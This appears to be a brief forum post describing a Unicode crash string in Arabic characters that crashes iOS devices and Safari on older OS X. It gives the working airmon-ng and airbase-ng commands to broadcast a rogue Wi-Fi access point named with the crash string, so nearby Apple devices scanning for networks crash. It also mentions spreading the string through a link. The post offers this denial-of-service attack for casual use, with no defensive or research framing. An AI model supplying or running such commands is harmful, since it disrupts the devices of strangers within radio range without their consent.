you can crash ios devices and also osX 10.8 i believe with a certain string of arabic characters! a way to do this is with airbase-ng!! airmon-ng start wlan0 airbase-ng -e " ̷̴̐خ ̷̴̐خ ̷̴̐خ امارتيخ ̷̴̐خ" -q -c 11 mon0
It will only kill safari on mac doesn't affect mavericks 10.9 Just click the link to kill safari containing the text